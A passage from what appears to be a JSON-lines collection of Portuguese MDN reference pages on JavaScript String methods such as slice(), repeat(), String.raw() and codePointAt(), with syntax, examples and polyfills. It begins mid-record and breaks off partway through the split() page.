Portanto, o comprimento da string resultante pode ser diferente do comprimento da string de entrada. Isso também implica que a conversão não é estável, então, por exemplo, o seguinte pode retornar `false`:\n `x.toLocaleLowerCase() === x.toLocaleUpperCase(). toLocaleLowerCase()`\n\nExemplos\n--------\n\n### Usando `toLocaleUpperCase()`\n\n\n```js\n\"alfabeto\".toLocaleUpperCase(); // 'ALFABETO'\n\n\"Gesäß\".toLocaleUpperCase(); // 'GESÄSS'\n\n\"i\\u0307\".toLocaleUpperCase(\"lt-LT\"); // 'I'\n\nlet locales = [\"lt\", \"LT\", \"lt-LT\", \"lt-u-co-phonebk\", \"lt-x-lietuva\"];\n\"i\\u0307\".toLocaleUpperCase(locales); // 'I'\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-string.prototype.tolocaleuppercase |\n| ECMAScript Internationalization API Specification # sup-string.prototype.tolocaleuppercase |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `String.prototype.toLocaleLowerCase()`\n* `String.prototype.toLowerCase()`\n* `String.prototype.toUpperCase()`"}
{"title":"String.prototype.trimStart() - JavaScript","text":"String.prototype.trimStart()\n============================\n\nO método `trimStart()` remove espaços do começo de uma *string*. `trimLeft()` é um apelido para este método.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\nstr.trimStart();\nstr.trimLeft();\n```\n\n### Valor retornado\n\nUma nova *string* representando a *string* original sem os espaços no começo (fim à esquerda).\n\nDescrição\n---------\n\nOs métodos `trimStart()` / `trimLeft()` retornam a *string* sem os espaços no fim à esquerda. `trimLeft()` ou `trimStart()` não altera o valor da *string* original.\n\n### *Aliasing*\n\nPara consistência com funções como `String.prototype.padStart` o nome padrão do método é `trimStart`. Entretanto, por razões de compatibilidade na *web*, `trimLeft` permanece como um apelido para `trimStart`. Em alguns motores isso significa:\n\n\n```js\nString.prototype.trimLeft.name === \"trimStart\";\n```\n\nPolyfill\n--------\n\n\n```js\n//https://github.com/FabioVergani/js-Polyfill\\_String-trimStart\n\n(function (w) {\n  var String = w.String,\n    Proto = String.prototype;\n\n  (function (o, p) {\n    if (p in o ? (o[p] ? false : true) : true) {\n      var r = /^\\s+/;\n      o[p] =\n        o.trimLeft ||\n        function () {\n          return this.replace(r, \"\");\n        };\n    }\n  })(Proto, \"trimStart\");\n})(window);\n\n/\\*\nES6:\n(w=>{\n const String=w.String, Proto=String.prototype;\n\n ((o,p)=>{\n if(p in o?o[p]?false:true:true){\n const r=/^\\s+/;\n o[p]=o.trimLeft||function(){\n return this.replace(r,'')\n }\n }\n })(Proto,'trimStart');\n\n})(window);\n\\*/\n```\n\nExemplos\n--------\n\n### Usando `trimStart()`\n\nO seguinte exemplo mostra uma *string* em caixa baixa `'foo '`:\n\n\n```js\nvar str = \" foo \";\n\nconsole.log(str.length); // retorna 8\n\nstr = str.trimStart();\nconsole.log(str.length); // retorna 5\nconsole.log(str); // retorna 'foo '\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-string.prototype.trimstart |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `String.prototype.trim()`\n* `String.prototype.trimEnd()`"}
{"title":"String.raw() - JavaScript","text":"String.raw()\n============\n\nO método estático `String.raw()` é uma função tag de modelos literais, similar ao prefixo `r` no Python ou o prefixo `@` no C# para string literais (Mas não é *idêntico*, existe uma diferença, veja explicações nessa discussão). Ele é usado para pegar as strings no formato \"cru\" de modelos literais, isto é, substituições (ex: `${foo}`) são processados, mas \"escapes\" (ex:. `\\n`) não são.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\nString.raw(callSite, ...sub)\n\nString.raw`templateString`\n```\n\n### Parâmetros\n\n`callSite`\n\nModelo bem-formatado de objeto de local de chamada, como `{ raw: ['foo', 'bar', 'baz'] }`.\n\n`...substitutions`\n\nContém os valores das substituições.\n\n`templateString`\n\nUm modelo string, opcionalmente com substituições (`${...}`).\n\n### Valor retornado\n\nA forma crua de uma string de um modelo string dado.\n\n### Exceções\n\n`TypeError`\n\nUm `TypeError` é jogado se o primeiro argumento não é um Objeto bem formado.\n\nDescrição\n---------\n\nNa maioria dos casos, `String.raw()` é usado com modelos de strings. A primeira sintaxe mencionada acima raramente é usada, porque o mecanismo JavaScript a chamará com os argumentos apropriados para você, assim como com outras funções de tag.\n\n`String.raw()` é a única função de tag embutida de strings de template; ele funciona exatamente como a função de modelo padrão e executa a concatenação. Você pode até reimplementá-lo com o código JavaScript normal.\n\nExemplos\n--------\n\n### Usando `String.raw()`\n\n\n```js\nString.raw`Hi\\n${2 + 3}!`;\n// 'Hi\\n5!', o caractere após 'Hi'\n// não é um caractere de quebra de linha,\n// '\\' e 'n' são dois caracteres.\n\nString.raw`Hi\\u000A!`;\n// 'Hi\\u000A!', o mesmo aqui, agora nós teremos os caracteres\n// \\, u, 0, 0, 0, A, 6.\n// Todos as formas de quebra de linha serão ineficazes\n// e as contra barras estarão inclusas no valor retornado.\n// Você pode confirmar isso verificando a propriedade .length\n// da string.\n\nlet name = \"Bob\";\nString.raw`Hi\\n${name}!`;\n// 'Hi\\nBob!', substituições são processadas.\n\n// Normalmente você não chamaria String.raw() como uma função,\n// mas para simular `t${0}e${1}s${2}t` você pode fazer:\nString.raw({ raw: \"test\" }, 0, 1, 2); // 't0e1s2t'\n// Note que 'test', uma string, é um objeto array-like\n// O código abaixo é equivalente a:\n// `foo${2 + 3}bar${'Java' + 'Script'}baz`\nString.raw(\n  {\n    raw: [\"foo\", \"bar\", \"baz\"],\n  },\n  2 + 3,\n  \"Java\" + \"Script\",\n); // 'foo5barJavaScriptbaz'\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-string.raw |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Modelos de strings\n* `String`\n* Gramática lexical"}
{"title":"String.fromCharCode() - JavaScript","text":"String.fromCharCode()\n=====================\n\nO método **`String.fromCharCode()`** retorna uma string criada ao usar uma sequência específica de valores Unicode.\n\nSintaxe\n-------\n```\n\nString.fromCharCode(num1[, ...[, numN]])\n```\n\n### Parâmetros\n\n`num1, ..., numN`\n\nUma sequência de números que devem ser valores UTF-16. O tamanho é entre `0` e `65535` (`0xFFFF`). Números maiores do que `0xFFFF` são desconsiderados. Nenhuma verificação de vadalida é realizada.\n\n### Valor retornado\n\nUma string contendo os caracteres correspondentes à sequência de valores Unicode.\n\nDescrição\n---------\n\nEsse método retorna uma string e não um objeto `String`.\n\nComo `fromCharCode()` é um método estático de `String`, você sempre o usará como `String.fromCharCode()`, ao invés de um método de um objeto `String` que você tenha criado.\n\nExemplos\n--------\n\n### Usando `fromCharCode()`\n\nO seguinte exemplo retorna a string \"ABC\".\n\n\n```js\nString.fromCharCode(65, 66, 67); // retorna \"ABC\"\n```\n\nFazendo-o funcionar com valores maiores\n---------------------------------------\n\nEmbora os valores Unicode mais comuns possam ser representados com um número de 16 bits (como esperado durante a padronização do JavaScript) e o fromCharCode() possa ser usado para retornar um único caracter dos valores mais comuns (por exemplo: valores UCS-2 que são os melhores subconjuntos do UTF-16 com os caractres mais comuns), a fim de resolver TODOS os valores Unicode legais (até 21 bits) o método fromCharCode() sozinho é inadequado. Como os caracteres de ponto de código mais alto usam 2 (valor menor) numeros \"substitutos\" para formar um único caracter, `String.fromCodePoint()` (parte do padrão ES2015) pode ser usado para retornar tal par e ainda representar adequadamente esses caracteres de valores altos.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-string.fromcharcode |\n\nNavegadores compatíveis\n-----------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `String.fromCodePoint()`\n* `String.prototype.charAt()`\n* `String.prototype.charCodeAt()`\n* `String.prototype.codePointAt()`"}
{"title":"String.prototype.slice() - JavaScript","text":"String.prototype.slice()\n========================\n\nSumário\n-------\n\nO método `slice()` extrai uma parte de uma string e a retorna como uma nova string, sem modificar a string original.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\nstr.slice(startIndex[, endIndex])\n```\n\n### Paramêtros\n\n`startIndex`\n\nÉ o índice, de base zero, onde se inicia a extração. Se for um número negativo, será o mesmo que executar *`str.length + startIndex`* (por exemplo, se *`startIndex`* for *`-3`*, será o mesmo que executar *`str.length - 3`*).\n\n\n```js\nconst nome = \"Ricardo\";\nconsole.log(nome.slice(-3)); // retorna 'rdo'\n```\n\n\nSe *`startIndex`* for maior ou igual a `str.length`, uma string vazia será retornada.\n\n\n```js\nconst nome = \"Ricardo\";\nconsole.log(nome.slice(7)); // retorna <empty string>'\n```\n\n\n`endIndex`\n\nOpcional. É o índice, de base zero, onde termina a extração. O caractere que possuir este índice não será incluso.\n\nSe omitido ou possuir valor de *`undefined`*, ou for maior que `str.length`, *`slice()`* extrairá até o fim da string.\n\n\n```js\nconst nome = \"Ricardo\";\n\n// omitindo fimSlice\nconsole.log(nome.slice(0)); // retorna 'Ricardo'\n\n// undefined fimSlice\nlet i; // variável criada sem atribuir valor\nconsole.log(nome.slice(0, i)); // retorna 'Ricardo'\n\n// passando número maior que o tamanho da string\nconsole.log(nome.slice(0, 7)); // retorna 'Ricardo'\n```\n\n\nSe negativo, é o mesmo que executar *`str.length + endIndex`* onde *`str.length`* é o tamanho da string (por exemplo, se *`endIndex`* é *`-3`*, é como executar `str.length - 3`).\n\n\n```js\nconst nome = \"Ricardo\";\nconsole.log(nome.slice(0, -3)); // retorna 'Rica'\n```\n\n\nSe for um valor diferente de indefinido e, ao mesmo tempo não for um número, uma string vazia será retornada\n\n\n```js\nconst nome = \"Ricardo\";\nlet i; // variável criada sem valor atribuído\n\n// passando algum valor ≠ de undefined e ≠ de número\nconsole.log(nome.slice(0, NaN)); // retorna <empty string>\nconsole.log(nome.slice(2, false)); // retorna <empty string>\nconsole.log(nome.slice(5, i)); // retorna 'Ricardo'\n```\n\n\nSe `endIndex` for definido e `startIndex` for negativo, `endIndex` deve ser negativo também, do contrário uma string vazia é retornada.\n\n\n```js\nconst nome = \"Ricardo\";\nconsole.log(nome.slice(-3, 0)); // retorna <empty string>\n```\n\n\nCaso `endIndex` seja definido e `startIndex` e `endIndex` sejam ambos positivos ou negativos, `endIndex` deve ser maior que `startIndex`, do contrário uma string vazia é retornada.\n\n\n```js\nconst nome = \"Ricado\";\nconsole.log(nome.slice(-1, -3)); // retorna <empty string>\nconsole.log(nome.slice(3, 1)); // retorna <empty string>\n```\n\n\n### Retorno\n\nUma nova string contento a porção extraída da string.\n\nDescrição\n---------\n\n*`slice()`* extrai um texto de uma string e retorna uma nova string. Modificações realizadas no texto de uma string não afetam a outra string.\n\n*`slice()`* extrai até, mas não inclue *`endIndex`.*\n\n`str.slice(1, 4)` extrai a partir do segundo caractere até o quarto caractere (ou seja, os caracteres de índices *`1`*, *`2`*, e *`3`*).\n\nPor exemplo, *`str.slice(2, -1)`* extrai a partir do terceiro carácter até o penúltimo caractere da string.\n\n\n```js\nconst nome = \"Ricardo\";\nconsole.log(nome.slice(2, -1)); // retorna 'card'\n```\n\nExemplos\n--------\n\n### Exemplo: Usando `slice()` para criar uma nova string\n\nO exemplo a seguir usa *`slice()`* para criar uma nova string.\n\n\n```js\nvar str1 = \"A manhã está sobre nós\", // o tamanho de str1 é 22\n  str2 = str1.slice(3, 10),\n  str3 = str1.slice(2, -2),\n  str4 = str1.slice(13),\n  str5 = str1.slice(22);\nconsole.log(str2); // retorna 'anhã es'\nconsole.log(str3); // retorna 'manhã está sobre n'\nconsole.log(str4); // retorna 'sobre nós'\nconsole.log(str5); // retorna <empty string>\n```\n\n### Exemplo: Usando `slice()` com índices negativos\n\nO exemplo a seguir usa o *`slice()`* com índices negativos.\n\n\n```js\nvar str = \"A manhã está sobre nós\";\nstr.slice(-3); // retorna 'nós'\nstr.slice(-3, -1); // retorna 'nó'\nstr.slice(0, -1); // retorna 'A manhã está sobre nó'\n```\n\n\nO exemplo abaixo percorre o índice no sentido anti-horário (de trás para frente) até chegar ao índice 11 da string, que será o início. Logo após, percorre o índice da string no sentido horário até chegar ao índice 16 da string, que será o fim.\n\n\n```js\nconsole.log(str.slice(-11, 16)); // retorna \"á sob\"\n```\n\n\nO exemplo abaixo percorre o índice no sentido horário até chegar ao índice 10 da string, que será o início. Logo após, percorre o índice da string no sentido anti-horário até chegar ao índice 7 da string, que será o fim.\n\n\n```js\nconsole.log(str.slice(10, -7)); // retorna \"tá so\"\n```\n\n\nO exemplo abaixo percorre o índice no sentido anti-horário até chegar ao índice 5 da string, que será o início. Logo após, percorre o índice da string novamente no sentido anti-horário até chegar ao índice 1 da string, que será o fim.\n\n\n```js\nconsole.log(str.slice(-5, -1)); // retorna \"e nó\"\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-string.prototype.slice |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `String.prototype.substr()`\n* `String.prototype.substring()`\n* `Array.prototype.slice()`"}
{"title":"String.prototype.codePointAt() - JavaScript","text":"String.prototype.codePointAt()\n==============================\n\nO método **`codePointAt()`** retorna um número inteiro não negativo que é o valor do ponto de código Unicode.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\nstr.codePointAt(pos)\n```\n\n### Parâmetros\n\n`pos`\n\nA posição de um elemento em uma string a partir do qual retorna o valor do ponto de código.\n\n### Valor retornado\n\nUm número que representa o valor do ponto de código do caractere na `pos` fornecida. Se não houver nenhum elemento na `pos`, `undefined` é retornado.\n\nDescrição\n---------\n\nSe não houver nenhum elemento na posição especificada, é retornado o valor de `undefined`. Se nenhum par substituto UTF-16 começar na `pos`, a unidade de código na `pos` será retornada.\n\nPolyfill\n--------\n\nO seguinte código cria no objeto global String a função `codePointAt()` conforme especificado em ECMAScript 2015 para navegadores sem suporte nativo:\n\n\n```js\n/\\*! https://mths.be/codepointat v0.2.0 by @mathias \\*/\nif (!String.prototype.codePointAt) {\n  (function () {\n    \"use strict\"; // needed to support `apply`/`call` with `undefined`/`null`\n    var defineProperty = (function () {\n      // IE 8 only supports `Object.defineProperty` on DOM elements\n      try {\n        var object = {};\n        var $defineProperty = Object.defineProperty;\n        var result = $defineProperty(object, object, object) && $defineProperty;\n      } catch (error) {}\n      return result;\n    })();\n    var codePointAt = function (position) {\n      if (this == null) {\n        throw TypeError();\n      }\n      var string = String(this);\n      var size = string.length;\n      // `ToInteger`\n      var index = position ? Number(position) : 0;\n      if (index != index) {\n        // better `isNaN`\n        index = 0;\n      }\n      // Account for out-of-bounds indices:\n      if (index < 0 || index >= size) {\n        return undefined;\n      }\n      // Get the first code unit\n      var first = string.charCodeAt(index);\n      var second;\n      if (\n        // check if it’s the start of a surrogate pair\n        first >= 0xd800 &&\n        first <= 0xdbff && // high surrogate\n        size > index + 1 // there is a next code unit\n      ) {\n        second = string.charCodeAt(index + 1);\n        if (second >= 0xdc00 && second <= 0xdfff) {\n          // low surrogate\n          // https://mathiasbynens.be/notes/javascript-encoding#surrogate-formulae\n          return (first - 0xd800) \\* 0x400 + second - 0xdc00 + 0x10000;\n        }\n      }\n      return first;\n    };\n    if (defineProperty) {\n      defineProperty(String.prototype, \"codePointAt\", {\n        value: codePointAt,\n        configurable: true,\n        writable: true,\n      });\n    } else {\n      String.prototype.codePointAt = codePointAt;\n    }\n  })();\n}\n```\n\nExemplos\n--------\n\n### Usando `codePointAt()`\n\n\n```js\n\"ABC\".codePointAt(1); // retorna 66\n\"\\uD800\\uDC00\".codePointAt(0); // retorna 65536\n\n\"XYZ\".codePointAt(42); // retorna undefined\n```\n\n### Criando um loop com `codePointAt()`\n\n\n```js\nfor (let codePoint of \"\\ud83d\\udc0e\\ud83d\\udc71\\u2764\") {\n  console.log(codePoint.codePointAt(0).toString(16));\n}\n// retorna '1f40e', '1f471', '2764'\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-string.prototype.codepointat |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `String.fromCodePoint()`\n* `String.fromCharCode()`\n* `String.prototype.charCodeAt()`\n* `String.prototype.charAt()`"}
{"title":"String.prototype.repeat() - JavaScript","text":"String.prototype.repeat()\n=========================\n\nO método **`repeat()`** constrói e retorna uma nova string com um determinado número de cópias concatenadas da string original.\n\nSintaxe\n-------\n```\n\nstr.repeat(count);\n```\n\n### Parâmetros\n\n`count`\n\nUm número inteiro entre 0 e `+Infinity`, indicando o número de vezes que a string deve ser repetida.\n\n### Valor retornado\n\nUma nova string contendo o número especificado de cópias da string original.\n\n### Exceções\n\n* `RangeError`: o número de repetições não pode ser negativo.\n* `RangeError` (en-US): o número de repetições deve ser menor que infinito e não deve ultrapassar o tamanho máximo da string.\nExemplos\n--------\n\n\n```js\n\"abc\".repeat(-1); // RangeError\n\"abc\".repeat(0); // ''\n\"abc\".repeat(1); // 'abc'\n\"abc\".repeat(2); // 'abcabc'\n\"abc\".repeat(3.5); // 'abcabcabc' (o número será convertido para inteiro)\n\"abc\".repeat(1 / 0); // RangeError\n\n({ toString: () => \"abc\", repeat: String.prototype.repeat }).repeat(2);\n// 'abcabc' (repeat() é um método genérico)\n```\n\nPolyfill\n--------\n\nO método `repeat()` foi adicionado à especificação ECMAScript 2015 e pode ainda não estar disponível em todas as implementações do JavaScript. No entanto, você pode usar o seguinte polyfill para implementar o `String.prototype.repeat()`:\n\n\n```js\nif (!String.prototype.repeat) {\n  String.prototype.repeat = function (count) {\n    \"use strict\";\n    if (this == null) {\n      throw new TypeError(\n        \"não é possível converter \" + this + \" para um objeto\",\n      );\n    }\n    var str = \"\" + this;\n    count = +count;\n    if (count != count) {\n      count = 0;\n    }\n    if (count < 0) {\n      throw new RangeError(\"o núm. de repetições não pode ser negativo\");\n    }\n    if (count == Infinity) {\n      throw new RangeError(\"o núm. de repetições deve ser menor que infinito\");\n    }\n    count = Math.floor(count);\n    if (str.length == 0 || count == 0) {\n      return \"\";\n    }\n\n    // Ao Garantir que count seja um inteiro de 31 bits nos dá uma grande otimização\n    // na parte principal. Porém, navegadores atuais (de agosto de 2014 pra cá)\n    // não conseguem mais manipular strings de 1 << 28 chars ou maiores, então:\n    if (str.length \\* count >= 1 << 28) {\n      throw new RangeError(\n        \"o núm. de repetições não deve estourar o tamanho máx. de uma string\",\n      );\n    }\n    var rpt = \"\";\n    for (var i = 0; i < count; i++) {\n      rpt += str;\n    }\n    return rpt;\n  };\n}\n```\n\n\n#### Polyfill ES5\n```\n\n//#es5\n'use strict';\n(function(win){\n var typeOf=(function(w){var f=function f(x){return typeof(x)},o=w.Symbol,p;if(o && typeof(o)==='function' && typeof(o.iterator)==='symbol'){p=o.prototype;f=function(x){return x && x.constructor===o && x!==p?'symbol':typeof x}};return f})(win),\n exist=function(o,p,t){return p in o && typeOf(o[p])===t};\n (function(w){\n    var o=w.String.prototype;\n    if(!exist(o,'repeat','function')){o.repeat=(function(A,E){return function(n){var i=n>>0,s=this,l=s.length,j;if(i===0||l<1){s=''}else{j=268435456;if(i<0||i>=j||i*l>j){throw new RE('Invalidcountvalue')}else if(i>0){s=A(++i).join(s)}};return s}})(w.Array,w.RangeError)};\n })(win);\n})(window);\n\n// teste:\nconsole.clear();\nconsole.log(\n'abc'.repeat(false),//''\n'abc'.repeat({}),//''\n'abc'.repeat([]),//''\n'abc'.repeat(['']),//''\n'abc'.repeat([0]),//''\n'abc'.repeat([0,1]),//''\n'abc'.repeat([1,1]),//''\n'abc'.repeat(0),//''\n'abc'.repeat(.6),//''\n'abc'.repeat(true),//'abc'\n'abc'.repeat(1),//'abc'\n'abc'.repeat(2),//'abcabc'\n'abc'.repeat([2]),//'abcabc'\n'abc'.repeat(3.5),//'abcabcabc'\n''.repeat(2)//''\n);\nconsole.log(\n'abc'.repeat(-Infinity),//RangeError: Invalid count value\n'abc'.repeat(Infinity),//RangeError: Invalid count value\n'abc'.repeat(1/0),//RangeError: Invalid count value\n'abc'.repeat(-1)//RangeError: Invalid count value\n);\n\n/*\nes5 src:\n'use strict';\n(function(win){\n\n var typeOf=(function(w){var f=function f(x){return typeof(x)},o=w.Symbol,p;if(o && typeof(o)==='function' && typeof(o.iterator)==='symbol'){p=o.prototype;f=function(x){return x && x.constructor===o && x!==p?'symbol':typeof x}};return f})(win),\n exist=function(o,p,t){return p in o && typeOf(o[p])===t};\n\n (function(w){\n    var o=w.String.prototype;\n    if(!exist(o,'repeat','function')){\n        o.repeat=(function(A,E){\n            return function(n){\n                var i=n>>0,s=this,l=s.length,j;\n                if(i===0||l<1){s=''}else{\n                    j=268435456;\n                    if(i<0||i>=j||i*l>j){throw new RE('Invalidcountvalue')}else if(i>0){s=A(++i).join(s)}\n                };\n                return s\n            };\n        })(w.Array,w.RangeError);\n    };\n    //..\n })(win);\n\n})(window);\n*/\n```\n\n\n#### Polyfill ES6\n```\n\n//#es6\n\n(w=>{\n\n    const typeOf=(o=>{let f=x=>typeof x;if(o && 'function'===typeof o){const s='symbol';if(s===typeof o.iterator){const p=o.prototype;f=x=>x && x.constructor===o && x!==p?s:typeof x}};return f})(w.Symbol),\n\n    exist=(o,p,t)=>p in o && typeOf(o[p])===t;\n\n    (o=>{\n\n        if(!exist(o,'repeat','function')){const A=w.Array,E=w.RangeError;o.repeat=function(n){var i=n>>0,s='';if(i!==0){let t=this;const l=t.length;if(l!==0){if(i<0||i>=(t=268435456)||i*l>t){throw new E('Invalid count value')}else if(i>0){s=A(++i).join(t)}}};return s}};\n\n    })(w.String.prototype);\n\n})(window);\n\n/*\n\nes6 src:\n\n(w=>{\n\n    const typeOf=(o=>{let f=x=>typeof x;if(o && 'function'===typeof o){const s='symbol';if(s===typeof o.iterator){const p=o.prototype;f=x=>x && x.constructor===o && x!==p?s:typeof x}};return f})(w.Symbol),\n\n    exist=(o,p,t)=>p in o && typeOf(o[p])===t;\n\n    (o=>{\n\n        if(!exist(o,'repeat','function')){\n\n            const A=w.Array;\n\n            o.repeat=function(n){var i=n>>0,s='';if(i!==0){let t=this;const l=t.length;if(l!==0){if(i<0||i>=(t=268435456)||i*l>t){throw new RangeError('Invalid count value')}else if(i>0){s=A(++i).join(t)}}};return s};\n\n        };\n\n        //..\n\n    })(w.String.prototype);\n\n})(window);\n\n*/\n\n//test:\n\nconsole.clear();\n\nconsole.log(\n\n'abc'.repeat(false),//''\n\n'abc'.repeat({}),//''\n\n'abc'.repeat([]),//''\n\n'abc'.repeat(['']),//''\n\n'abc'.repeat([0]),//''\n\n'abc'.repeat([0,1]),//''\n\n'abc'.repeat([1,1]),//''\n\n'abc'.repeat(0),//''\n\n'abc'.repeat(.6),//''\n\n'abc'.repeat(true),//'abc'\n\n'abc'.repeat(1),//'abc'\n\n'abc'.repeat(2),//'abcabc'\n\n'abc'.repeat([2]),//'abcabc'\n\n'abc'.repeat(3.5),//'abcabcabc'\n\n''.repeat(2)//''\n\n);\n\nconsole.log(\n\n'abc'.repeat(-Infinity),//RangeError: Invalid count value\n\n'abc'.repeat(Infinity),//RangeError: Invalid count value\n\n'abc'.repeat(1/0),//RangeError: Invalid count value\n\n'abc'.repeat(-1)//RangeError: Invalid count value\n\n);\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-string.prototype.repeat |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `String.prototype.concat()`"}
{"title":"String.prototype.toUpperCase() - JavaScript","text":"String.prototype.toUpperCase()\n==============================\n\nO método `toUpperCase()` retorna o valor da string original convertido em letras maiúsculas.\n\nSintaxe\n-------\n```\n\nstr.toUpperCase()\n```\n\n### Valor retornado\n\nUma nova string representando a string original convertida em maiúsculas.\n\n### Exceções\n\n`TypeError`\n\nQuando chamado em uma string contendo valor `null` ou `undefined`, por exemplo, `String.prototype.toUpperCase.call(undefined)`.\n\nDescrição\n---------\n\nO método `toUpperCase()` retorna o valor da string convertido para letras maiúsculas. `toUpperCase()` não altera o valor da string original.\n\nExemplos\n--------\n\n### Uso básico\n\n\n```js\nconsole.log(\"alfabeto\".toUpperCase()); // 'ALFABETO'\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-string.prototype.touppercase |\n\nNavegadores compatíveis\n-----------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `String.prototype.toLocaleLowerCase()`\n* `String.prototype.toLocaleUpperCase()`\n* `String.prototype.toLowerCase()`"}
{"title":"String.prototype.fixed() - JavaScript","text":"String.prototype.fixed()\n========================\n\n**Deprecated:** This feature is no longer recommended. Though some browsers might still support it, it may have already been removed from the relevant web standards, may be in the process of being dropped, or may only be kept for compatibility purposes. Avoid using it, and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time.\n\nO método **`fixed()`** cria um elemento HTML `<tt>` (en-US) que faz com que uma string seja exibida em uma fonte de densidade fixa.\n\nSintaxe\n-------\n```\n\nstr.fixed()\n```\n\n### Valor retornado\n\nUma string que representa o elemento HTML <tt> (en-US).\n\nDescrição\n---------\n\n O método `fixed()` cria uma string dentro de uma tag `<tt>`:\n `\"<tt>str</tt>\"`.\n\nExemplos\n--------\n\n### Usando `fixed()`\n\nO exemplo a seguir usa o método `fixed()` para alterar a formatação de uma string:\n\n\n```js\nvar worldString = \"Olá, mundo\";\nconsole.log(worldString.fixed()); // \"<tt>Olá, mundo</tt>\"\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-string.prototype.fixed |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `String.prototype.bold()`\n* `String.prototype.italics()`\n* `String.prototype.strike()`"}
{"title":"String.prototype.toLocaleLowerCase() - JavaScript","text":"String.prototype.toLocaleLowerCase()\n====================================\n\nO método `toLocaleLowerCase()` retorna o valor da string em minúsculas, de acordo com qualquer mapeamento de caixa de texto específico da localidade.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\nstr.toLocaleLowerCase()\nstr.toLocaleLowerCase(locale)\nstr.toLocaleLowerCase([locale, locale, ...])\n```\n\n### Parâmetros\n\n`locale`\n\nOpcional. O parâmetro `locale` indica o local a ser usado para converter para minúsculas de acordo com qualquer mapeamento de caixa de texto específico da localidade. Se várias localidades forem fornecidas em um `Array`, a melhor localidade disponível é usada. A localidade padrão é a localidade atual do ambiente do host.\n\n### Valor retornado\n\nUma nova string que representa a string original convertida em minúsculas, de acordo com qualquer mapeamento da caixa de texto específico da localidade.\n\n### Exceções\n\n* Um `RangeError` (en-US) (\" invalid language tag: xx\\_yy \") é lançado se um argumento `locale` não for uma tag de idioma válido.\n* Um `TypeError` (\" invalid element in locales argument \") é lançado se um elemento do array não for do tipo string.\nDescrição\n---------\n\nO método `toLocaleLowerCase()` retorna o valor da string convertida em minúsculas de acordo com qualquer mapeamento da caixa de texto específico da localidade. `toLocaleLowerCase()` não afeta o valor da string original. Na maioria dos casos, ele produzirá o mesmo resultado que `toLowerCase()`, mas para alguns locais, como turco, cujos mapeamentos da caixa de texto não seguem o mapeamento padrão em Unicode, pode haver um resultado diferente.\n\nExemplos\n--------\n\n### Usando `toLocaleLowerCase()`\n\n\n```js\n\"ALFABETO\".toLocaleLowerCase(); // 'alfabeto'\n\n\"\\u0130\".toLocaleLowerCase(\"tr\") === \"i\"; // true\n\"\\u0130\".toLocaleLowerCase(\"en-US\") === \"i\"; // false\n\nlet locales = [\"tr\", \"TR\", \"tr-TR\", \"tr-u-co-search\", \"tr-x-turkish\"];\n\"\\u0130\".toLocaleLowerCase(locales) === \"i\"; // true\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-string.prototype.tolocalelowercase |\n| ECMAScript Internationalization API Specification # sup-string.prototype.tolocalelowercase |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `String.prototype.toLocaleUpperCase()`\n* `String.prototype.toLowerCase()`\n* `String.prototype.toUpperCase()`"}
{"title":"String.prototype.split() - JavaScript","text":"String.prototype.split()\n========================\n\nO método `split()` divide uma `String` em uma lista ordenada de substrings, coloca essas substrings em um array e retorna o array. A divisão é feita procurando um padrão, onde o padrão é fornecido como o primeiro parâmetro na chamada do método.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\nstr.split([separator[, limit]])\n```\n\n### Parâmetros\n\n* O caso mais simples é quando o separador é apenas um único caractere que será usado para dividir a string. Por exemplo, uma string contendo valores separados por tabulação (TSV) poderia ser analisada passando um caractere de tabulação como separador, como este: myString.split (\"\\ t\").\n* Se o `separator` contiver vários caracteres, toda a sequência de caracteres deve ser encontrada para ser dividida.\n* Se o `separator` for omitido ou não aparecer dentro da `str`, o array retornará um elemento consistindo em toda a string.\n* Se o `separator` aparecer no início (ou no final) da string, ele ainda terá o efeito de divisão. O resultado é uma string vazia (ou seja, `str.length == 0`), que aparece na primeira (ou última) posição do array retornado.\n* Se o 